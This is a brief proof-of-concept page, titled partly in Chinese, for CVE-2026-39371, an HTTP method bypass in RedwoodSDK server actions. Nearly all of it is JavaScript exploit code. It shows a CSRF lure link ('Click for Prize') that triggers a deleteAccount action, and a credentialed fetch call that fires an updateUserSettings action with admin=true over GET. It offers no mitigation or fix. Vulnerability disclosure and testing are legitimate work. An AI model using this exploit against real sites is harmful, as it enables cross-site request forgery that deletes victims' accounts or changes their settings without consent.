CVE-2026-39371 RedwoodSDK HTTP方法绕过漏洞

// PoC for CVE-2026-39371: RedwoodJS HTTP Method Bypass // Description: This demonstrates how a server action intended for POST can be triggered via GET. // Target endpoint (example) // Usually server actions are at /.redwood/functions/{functionName} const targetUrl = "http://vulnerable-site.com/.redwood/functions/updateUserSettings?admin=true"; // 1. Attack Vector: Simple HTML Link (CSRF) // If an attacker hosts this link and a logged-in user clicks it, // the browser sends a GET request with the session cookie. // <a href="http://vulnerable-site.com/.redwood/functions/deleteAccount">Click for Prize</a> // 2. Verification using Fetch (simulating the browser behavior) async function checkVulnerability() { try { const response = await fetch(targetUrl, { method: 'GET', // Vulnerability: GET is allowed for state change credentials: 'include', // Simulates browser sending cookies headers: { 'Accept': 'application/json' } }); if (response.ok) { console.log("[+] Vulnerability Confirmed: Server action executed via GET."); console.log("[+] Response:", await response.text()); } else { console.log("[-] Action failed or blocked."); } } catch (error) { console.error("Error:", error); } } checkVulnerability();